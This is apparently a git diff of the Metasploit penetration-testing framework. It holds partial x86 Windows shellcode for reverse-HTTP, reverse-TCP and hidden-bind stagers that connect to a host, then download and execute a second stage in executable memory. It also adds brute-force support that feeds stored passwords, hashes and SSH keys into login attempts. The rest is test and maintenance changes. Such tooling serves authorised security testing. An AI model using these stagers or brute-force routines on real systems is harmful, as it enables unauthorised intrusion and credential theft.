||||
got_server_host:
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
httpopenrequest:
|
||||
push ebx ; dwContext (NULL)
|
||||
; dwContext (NULL) [8]
|
||||
push HTTP_OPEN_FLAGS ; dwFlags
|
||||
push ebx ; accept types
|
||||
push ebx ; referrer
|
||||
push ebx ; version
|
||||
jmp get_server_uri ; push pointer to url
|
||||
got_server_uri:
|
||||
push edi ; server URI
|
||||
push ebx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
|
||||
set_retry:
|
||||
push byte 0x10
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
|
||||
%ifdef ENABLE_SSL
|
||||
|
@ -120,15 +124,6 @@ failure:
|
|||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call got_server_uri
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
|
@ -164,7 +159,8 @@ download_more:
|
|||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host
|
||||
|
||||
server_host:
|
||||
|
|
|
@ -51,10 +51,9 @@ try_connect:
|
|||
jz short connected
|
||||
|
||||
port_bump:
|
||||
xor eax, eax
|
||||
mov word ax, [esi+2]
|
||||
xchg ah,al
|
||||
inc ax
|
||||
inc eax
|
||||
xchg ah,al
|
||||
mov word [esi+2], ax
|
||||
jmp short try_connect
|
||||
|
|
|
@ -36,7 +36,10 @@ reverse_tcp:
|
|||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
get_address:
|
||||
jmp get_hostname
|
||||
call got_hostname
|
||||
|
||||
hostname:
|
||||
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
|
||||
|
||||
got_hostname:
|
||||
push 0x803428A9 ; hash( "ws2_32.dll", "gethostbyname" )
|
||||
|
@ -67,11 +70,5 @@ failure:
|
|||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
get_hostname:
|
||||
call got_hostname
|
||||
|
||||
hostname:
|
||||
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
|
||||
|
||||
connected:
|
||||
|
||||
|
|
20
external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm
vendored
Normal file
20
external/source/shellcode/windows/x86/src/stager/stager_bind_ipknock_tcp.asm
vendored
Normal file
|
@ -0,0 +1,20 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (Dec 2014)
|
||||
; Size: 359 bytes
|
||||
; Build: >build.py stager_hidden_bind_tcp
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_hidden_bind_ipknock.asm"
|
||||
; By here we will have performed the bind_tcp connection and EDI will be our socket.
|
||||
%include "./src/block/block_recv.asm"
|
||||
; By now we will have received in the second stage into a RWX buffer and be executing it
|
|
@ -0,0 +1,20 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (27 May 2014)
|
||||
; Size: 352 bytes
|
||||
; Build: >build.py stager_hidden_bind_tcp
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_hidden_bind_tcp.asm"
|
||||
; By here we will have performed the bind_tcp connection and EDI will be our socket.
|
||||
%include "./src/block/block_recv.asm"
|
||||
; By now we will have received in the second stage into a RWX buffer and be executing it
|
|
@ -1,12 +1,9 @@
|
|||
Feature: Help command
|
||||
|
||||
Background:
|
||||
Given I run `msfconsole` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
Given I run `msfconsole --defer-module-loads -x help -x exit`
|
||||
|
||||
Scenario: The 'help' command's output
|
||||
When I type "help"
|
||||
And I type "exit"
|
||||
Then the output should contain:
|
||||
"""
|
||||
Core Commands
|
||||
|
|
|
@ -48,9 +48,7 @@ Feature: `msfconsole` `database.yml`
|
|||
database: project_metasploit_framework_test
|
||||
username: project_metasploit_framework_test
|
||||
"""
|
||||
When I run `msfconsole --environment test --yaml command_line.yml` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
And I type "exit"
|
||||
When I run `msfconsole --defer-module-loads --environment test --execute-command exit --yaml command_line.yml`
|
||||
Then the output should contain "command_line_metasploit_framework_test"
|
||||
|
||||
Scenario: Without --yaml, MSF_DATABASE_CONFIG wins
|
||||
|
@ -84,9 +82,7 @@ Feature: `msfconsole` `database.yml`
|
|||
database: project_metasploit_framework_test
|
||||
username: project_metasploit_framework_test
|
||||
"""
|
||||
When I run `msfconsole --environment test` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
And I type "exit"
|
||||
When I run `msfconsole --defer-module-loads --environment test --execute-command exit`
|
||||
Then the output should contain "environment_metasploit_framework_test"
|
||||
|
||||
Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins
|
||||
|
@ -113,9 +109,7 @@ Feature: `msfconsole` `database.yml`
|
|||
database: project_metasploit_framework_test
|
||||
username: project_metasploit_framework_test
|
||||
"""
|
||||
When I run `msfconsole --environment test` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
And I type "exit"
|
||||
When I run `msfconsole --defer-module-loads --environment test --execute-command exit`
|
||||
Then the output should contain "user_metasploit_framework_test"
|
||||
|
||||
Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins
|
||||
|
@ -133,9 +127,7 @@ Feature: `msfconsole` `database.yml`
|
|||
database: project_metasploit_framework_test
|
||||
username: project_metasploit_framework_test
|
||||
"""
|
||||
When I run `msfconsole --environment test` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
And I type "exit"
|
||||
When I run `msfconsole --defer-module-loads --environment test --execute-command exit`
|
||||
Then the output should contain "project_metasploit_framework_test"
|
||||
|
||||
|
||||
|
@ -148,10 +140,7 @@ Feature: `msfconsole` `database.yml`
|
|||
And a mocked home directory
|
||||
And I cd to "../.."
|
||||
And the project "database.yml" does not exist
|
||||
When I run `msfconsole --environment test` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
And I type "db_status"
|
||||
And I type "exit"
|
||||
When I run `msfconsole --defer-module-loads --environment test --execute-command db_status --execute-command exit`
|
||||
Then the output should not contain "command_line_metasploit_framework_test"
|
||||
And the output should not contain "environment_metasploit_framework_test"
|
||||
And the output should not contain "user_metasploit_framework_test"
|
||||
|
@ -159,9 +148,6 @@ Feature: `msfconsole` `database.yml`
|
|||
And the output should contain "[*] postgresql selected, no connection"
|
||||
|
||||
Scenario: Starting `msfconsole` with a valid database.yml
|
||||
Given I run `msfconsole` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
When I type "db_status"
|
||||
And I type "exit"
|
||||
When I run `msfconsole --defer-module-loads --execute-command db_status --execute-command exit`
|
||||
Then the output should contain "[*] postgresql connected to metasploit_framework_test"
|
||||
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
# Has to be the first file required so that all other files show coverage information
|
||||
require 'simplecov'
|
||||
# @note `require 'simplecov'` is not used here because all features currently use external `msfconsole` process, so only
|
||||
# that child process needs to load 'simplecov'.
|
||||
|
||||
# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
|
||||
# It is recommended to regenerate this file in the future when you upgrade to a
|
||||
|
|
|
@ -4,6 +4,8 @@ Before do
|
|||
@aruba_timeout_seconds = 8.minutes
|
||||
end
|
||||
|
||||
# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed
|
||||
unless Bundler.settings.without.include?(:coverage)
|
||||
Before do |scenario|
|
||||
command_name = case scenario
|
||||
when Cucumber::Ast::Scenario, Cucumber::Ast::ScenarioOutline
|
||||
|
@ -22,5 +24,6 @@ Before do |scenario|
|
|||
|
||||
simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup')
|
||||
# set environment variable so child processes will merge their coverage data with parent process's coverage data.
|
||||
set_env('RUBYOPT', "-r#{simplecov_setup_pathname} #{ENV['RUBYOPT']}")
|
||||
set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,11 +1,16 @@
|
|||
# @note this file is loaded in env.rb to setup simplecov using RUBYOPTs for child processes
|
||||
|
||||
simplecov_command_name = ENV['SIMPLECOV_COMMAND_NAME']
|
||||
|
||||
# will not be set if hook does not run because `bundle install --without coverage`
|
||||
if simplecov_command_name
|
||||
require 'simplecov'
|
||||
|
||||
require 'pathname'
|
||||
|
||||
root = Pathname(__FILE__).expand_path.parent.parent.parent
|
||||
|
||||
SimpleCov.command_name(ENV['SIMPLECOV_COMMAND_NAME'])
|
||||
SimpleCov.command_name(simplecov_command_name)
|
||||
SimpleCov.root(root)
|
||||
load root.join('.simplecov')
|
||||
end
|
||||
|
|
|
@ -61,7 +61,7 @@ class X86_64
|
|||
|
||||
addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 }
|
||||
addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 }
|
||||
addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32
|
||||
addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32
|
||||
addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 }
|
||||
end
|
||||
|
||||
|
|
|
@ -8,7 +8,15 @@ require 'metasploit/framework/command/base'
|
|||
# Based on pattern used for lib/rails/commands in the railties gem.
|
||||
class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
|
||||
|
||||
# Provides an animated spinner in a seperate thread.
|
||||
#
|
||||
# See GitHub issue #4147, as this may be blocking some
|
||||
# Windows instances, which is why Windows platforms
|
||||
# should simply return immediately.
|
||||
|
||||
def spinner
|
||||
return if Rex::Compat.is_windows
|
||||
return if Rex::Compat.is_cygwin
|
||||
return if $msf_spinner_thread
|
||||
$msf_spinner_thread = Thread.new do
|
||||
$stderr.print "[*] Starting the Metasploit Framework console..."
|
||||
|
@ -61,6 +69,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
|
|||
driver_options['DatabaseEnv'] = options.environment
|
||||
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
|
||||
driver_options['DatabaseYAML'] = options.database.config
|
||||
driver_options['DeferModuleLoads'] = options.modules.defer_loads
|
||||
driver_options['Defanged'] = options.console.defanged
|
||||
driver_options['DisableBanner'] = options.console.quiet
|
||||
driver_options['DisableDatabase'] = options.database.disable
|
||||
|
|
|
@ -2,6 +2,18 @@ require 'metasploit/framework/credential'
|
|||
|
||||
class Metasploit::Framework::CredentialCollection
|
||||
|
||||
# @!attribute additional_privates
|
||||
# Additional privates to be combined
|
||||
#
|
||||
# @return [Array<String>]
|
||||
attr_accessor :additional_privates
|
||||
|
||||
# @!attribute additional_publics
|
||||
# Additional public to be combined
|
||||
#
|
||||
# @return [Array<String>]
|
||||
attr_accessor :additional_publics
|
||||
|
||||
# @!attribute blank_passwords
|
||||
# Whether each username should be tried with a blank password
|
||||
# @return [Boolean]
|
||||
|
@ -60,6 +72,26 @@ class Metasploit::Framework::CredentialCollection
|
|||
public_send("#{attribute}=", value)
|
||||
end
|
||||
self.prepended_creds ||= []
|
||||
self.additional_privates ||= []
|
||||
self.additional_publics ||= []
|
||||
end
|
||||
|
||||
# Adds a string as an addition private credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :private_str the string to use as a private
|
||||
# @return [void]
|
||||
def add_private(private_str='')
|
||||
additional_privates << private_str
|
||||
end
|
||||
|
||||
# Adds a string as an addition public credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :public_str the string to use as a public
|
||||
# @return [void]
|
||||
def add_public(public_str='')
|
||||
additional_publics << public_str
|
||||
end
|
||||
|
||||
# Add {Credential credentials} that will be yielded by {#each}
|
||||
|
@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection
|
|||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
end
|
||||
|
||||
if user_file.present?
|
||||
|
@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection
|
|||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection
|
|||
end
|
||||
end
|
||||
|
||||
additional_publics.each do |add_public|
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
|
||||
end
|
||||
if blank_passwords
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
|
||||
end
|
||||
if pass_fd
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
pass_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
end
|
||||
|
||||
ensure
|
||||
pass_fd.close if pass_fd && !pass_fd.closed?
|
||||
end
|
||||
|
|
|
@ -57,8 +57,8 @@ module Metasploit
|
|||
inclusion: { in: [true, false] }
|
||||
|
||||
validates :bruteforce_speed,
|
||||
presence: false,
|
||||
numericality: {
|
||||
allow_nil: true,
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 0,
|
||||
less_than_or_equal_to: 5
|
||||
|
|
|
@ -85,6 +85,7 @@ class Metasploit::Framework::ParsedOptions::Base
|
|||
options.framework.config = nil
|
||||
|
||||
options.modules = ActiveSupport::OrderedOptions.new
|
||||
options.modules.defer_loads = false
|
||||
options.modules.path = nil
|
||||
|
||||
@options = options
|
||||
|
@ -155,6 +156,13 @@ class Metasploit::Framework::ParsedOptions::Base
|
|||
option_parser.separator ''
|
||||
option_parser.separator 'Module options'
|
||||
|
||||
option_parser.on(
|
||||
'--defer-module-loads',
|
||||
'Defer module loading unless explicitly asked.'
|
||||
) do
|
||||
options.modules.defer_loads = true
|
||||
end
|
||||
|
||||
option_parser.on(
|
||||
'-m',
|
||||
'--module-path DIRECTORY',
|
||||
|
|
|
@ -0,0 +1,12 @@
|
|||
# Records the Bundler-style dependency constraint for the version of Rails to be
|
||||
# used with the Metasploit Framework and Metasploit Pro.
|
||||
module Metasploit
|
||||
module Framework
|
||||
module RailsVersionConstraint
|
||||
|
||||
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of
|
||||
# Rails 3.X that are removed in Rails 4.
|
||||
RAILS_VERSION = [ '>= 3.2.21', '< 4.0.0' ]
|
||||
end
|
||||
end
|
||||
end
|
|
@ -2,8 +2,8 @@ module Metasploit
|
|||
module Framework
|
||||
module Version
|
||||
MAJOR = 4
|
||||
MINOR = 10
|
||||
PATCH = 1
|
||||
MINOR = 11
|
||||
PATCH = 0
|
||||
PRERELEASE = 'dev'
|
||||
end
|
||||
|
||||
|
|
|
@ -151,17 +151,19 @@ protected
|
|||
rescue ::Exception => e
|
||||
mod.error = e
|
||||
mod.print_error("Auxiliary failed: #{e.class} #{e}")
|
||||
if(e.class.to_s != 'Msf::OptionValidateError')
|
||||
elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0)
|
||||
|
||||
if e.kind_of?(Msf::OptionValidateError)
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
else
|
||||
mod.print_error("Call stack:")
|
||||
e.backtrace.each do |line|
|
||||
break if line =~ /lib.msf.base.simple.auxiliary.rb/
|
||||
mod.print_error(" #{line}")
|
||||
end
|
||||
elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0)
|
||||
end
|
||||
|
||||
elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0)
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
|
||||
mod.cleanup
|
||||
|
||||
return
|
||||
|
@ -182,4 +184,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -18,7 +18,9 @@ module Buffer
|
|||
# Serializes a buffer to a provided format. The formats supported are raw,
|
||||
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
|
||||
#
|
||||
def self.transform(buf, fmt = "ruby")
|
||||
def self.transform(buf, fmt = "ruby", var_name = 'buf')
|
||||
default_wrap = 60
|
||||
|
||||
case fmt
|
||||
when 'raw'
|
||||
when 'num'
|
||||
|
@ -26,29 +28,29 @@ module Buffer
|
|||
when 'dword', 'dw'
|
||||
buf = Rex::Text.to_dword(buf)
|
||||
when 'python', 'py'
|
||||
buf = Rex::Text.to_python(buf)
|
||||
buf = Rex::Text.to_python(buf, default_wrap, var_name)
|
||||
when 'ruby', 'rb'
|
||||
buf = Rex::Text.to_ruby(buf)
|
||||
buf = Rex::Text.to_ruby(buf, default_wrap, var_name)
|
||||
when 'perl', 'pl'
|
||||
buf = Rex::Text.to_perl(buf)
|
||||
buf = Rex::Text.to_perl(buf, default_wrap, var_name)
|
||||
when 'bash', 'sh'
|
||||
buf = Rex::Text.to_bash(buf)
|
||||
buf = Rex::Text.to_bash(buf, default_wrap, var_name)
|
||||
when 'c'
|
||||
buf = Rex::Text.to_c(buf)
|
||||
buf = Rex::Text.to_c(buf, default_wrap, var_name)
|
||||
when 'csharp'
|
||||
buf = Rex::Text.to_csharp(buf)
|
||||
buf = Rex::Text.to_csharp(buf, default_wrap, var_name)
|
||||
when 'js_be'
|
||||
buf = Rex::Text.to_unescape(buf, ENDIAN_BIG)
|
||||
when 'js_le'
|
||||
buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE)
|
||||
when 'java'
|
||||
buf = Rex::Text.to_java(buf)
|
||||
buf = Rex::Text.to_java(buf, var_name)
|
||||
when 'powershell', 'ps1'
|
||||
buf = Rex::Text.to_powershell(buf)
|
||||
buf = Rex::Text.to_powershell(buf, var_name)
|
||||
when 'vbscript'
|
||||
buf = Rex::Text.to_vbscript(buf)
|
||||
buf = Rex::Text.to_vbscript(buf, var_name)
|
||||
when 'vbapplication'
|
||||
buf = Rex::Text.to_vbapplication(buf)
|
||||
buf = Rex::Text.to_vbapplication(buf, var_name)
|
||||
else
|
||||
raise ArgumentError, "Unsupported buffer format: #{fmt}", caller
|
||||
end
|
||||
|
|
|
@ -147,7 +147,17 @@ module Exploit
|
|||
exploit.error = e
|
||||
exploit.print_error("Exploit failed: #{e}")
|
||||
elog("Exploit failed (#{exploit.refname}): #{e}", 'core', LEV_0)
|
||||
|
||||
if e.kind_of?(Msf::OptionValidateError)
|
||||
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
|
||||
else
|
||||
exploit.print_error("Call stack:")
|
||||
e.backtrace.each do |line|
|
||||
break if line =~ /lib.msf.base.simple.exploit.rb/
|
||||
exploit.print_error(" #{line}")
|
||||
end
|
||||
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
|
||||
end
|
||||
end
|
||||
|
||||
return driver.session if driver
|
||||
|
@ -199,4 +209,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -62,21 +62,29 @@ module Framework
|
|||
Msf::MODULE_POST => Msf::Simple::Post,
|
||||
}
|
||||
|
||||
#
|
||||
# Create a simplified instance of the framework. This routine takes a hash
|
||||
# of parameters as an argument. This hash can contain:
|
||||
#
|
||||
# OnCreateProc => A callback procedure that is called once the framework
|
||||
# instance is created.
|
||||
#
|
||||
# @param opts [Hash{String => Object}]
|
||||
# @option opts (see simplify)
|
||||
# @return [Msf::Simple::Frameworkt s]
|
||||
def self.create(opts = {})
|
||||
framework = Msf::Framework.new(opts)
|
||||
return simplify(framework, opts)
|
||||
end
|
||||
|
||||
# @note If `opts['ConfigDirectory']` is set, then `Msf::Config::Defaults['ConfigDirectory']` will be updated to
|
||||
# `opts['ConfigDirectory']`.
|
||||
#
|
||||
# Extends a framework object that may already exist.
|
||||
#
|
||||
# @param framework [Msf::Framework, Msf::Simple::Framework] framework to simplify
|
||||
# @param opts [Hash{String => Object}]
|
||||
# @option opts [#call] 'OnCreateProc' Proc to call after {#init_simplified}. Will be passed `framework`.
|
||||
# @option opts [String] 'ConfigDirectory' Directory where configuration is saved. The `~/.msf4` directory.
|
||||
# @option opts [Boolean] 'DisableLogging' (false) `true` to disable `Msf::Logging.init`
|
||||
# @option opts [Boolean] 'DeferModuleLoads' (false) `true` to disable `framework.init_module_paths`.
|
||||
# @return [Msf::Simple::Framework] `framework`
|
||||
def self.simplify(framework, opts)
|
||||
|
||||
# If the framework instance has not already been extended, do it now.
|
||||
|
|
|
@ -121,17 +121,19 @@ protected
|
|||
rescue ::Exception => e
|
||||
mod.error = e
|
||||
mod.print_error("Post failed: #{e.class} #{e}")
|
||||
if(e.class.to_s != 'Msf::OptionValidateError')
|
||||
elog("Post failed: #{e.class} #{e}", 'core', LEV_0)
|
||||
|
||||
if e.kind_of?(Msf::OptionValidateError)
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
else
|
||||
mod.print_error("Call stack:")
|
||||
e.backtrace.each do |line|
|
||||
break if line =~ /lib.msf.base.simple.post.rb/
|
||||
mod.print_error(" #{line}")
|
||||
end
|
||||
elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0)
|
||||
end
|
||||
|
||||
elog("Post failed: #{e.class} #{e}", 'core', LEV_0)
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
|
||||
mod.cleanup
|
||||
|
||||
return
|
||||
|
@ -154,4 +156,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -72,6 +72,9 @@ require 'msf/http/wordpress'
|
|||
require 'msf/http/typo3'
|
||||
require 'msf/http/jboss'
|
||||
|
||||
# Kerberos Support
|
||||
require 'msf/kerberos/client'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -49,6 +49,47 @@ module Auxiliary::AuthBrute
|
|||
@@max_per_service = nil
|
||||
end
|
||||
|
||||
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||
# a private type of 'ntlm_hash'
|
||||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
def each_ntlm_cred
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
|
||||
creds.each do |cred|
|
||||
yield cred
|
||||
end
|
||||
end
|
||||
|
||||
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||
# a private type of 'password'
|
||||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
def each_password_cred
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
|
||||
creds.each do |cred|
|
||||
yield cred
|
||||
end
|
||||
end
|
||||
|
||||
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||
# a private type of 'ssh_key'
|
||||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
def each_ssh_cred
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
|
||||
creds.each do |cred|
|
||||
yield cred
|
||||
end
|
||||
end
|
||||
|
||||
# Checks whether we should be adding creds from the DB to a CredCollection
|
||||
#
|
||||
# @return [TrueClass] if any of the datastore options for db creds are selected and the db is active
|
||||
# @return [FalseClass] if none of the datastore options are selected OR the db is not active
|
||||
def prepend_db_creds?
|
||||
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
|
||||
end
|
||||
|
||||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
|
@ -56,10 +97,9 @@ module Auxiliary::AuthBrute
|
|||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
def prepend_db_hashes(cred_collection)
|
||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
|
||||
creds.each do |cred|
|
||||
cred_collection.prepend_cred(cred.to_credential)
|
||||
if prepend_db_creds?
|
||||
each_ntlm_cred do |cred|
|
||||
process_cred_for_collection(cred_collection,cred)
|
||||
end
|
||||
end
|
||||
cred_collection
|
||||
|
@ -72,10 +112,9 @@ module Auxiliary::AuthBrute
|
|||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
def prepend_db_keys(cred_collection)
|
||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
|
||||
creds.each do |cred|
|
||||
cred_collection.prepend_cred(cred.to_credential)
|
||||
if prepend_db_creds?
|
||||
each_ssh_cred do |cred|
|
||||
process_cred_for_collection(cred_collection,cred)
|
||||
end
|
||||
end
|
||||
cred_collection
|
||||
|
@ -88,15 +127,27 @@ module Auxiliary::AuthBrute
|
|||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
def prepend_db_passwords(cred_collection)
|
||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
|
||||
creds.each do |cred|
|
||||
cred_collection.prepend_cred(cred.to_credential)
|
||||
if prepend_db_creds?
|
||||
each_password_cred do |cred|
|
||||
process_cred_for_collection(cred_collection,cred)
|
||||
end
|
||||
end
|
||||
cred_collection
|
||||
end
|
||||
|
||||
# Takes a {Metasploit::Credential::Core} and converts it into a
|
||||
# {Metasploit::Framework::Credential} and processes it into the
|
||||
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
||||
# selected datastore options.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||
# @param [Metasploit::Credential::Core] the Credential Core to process
|
||||
def process_cred_for_collection(cred_collection, cred)
|
||||
msf_cred = cred.to_credential
|
||||
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
|
||||
cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS']
|
||||
cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS']
|
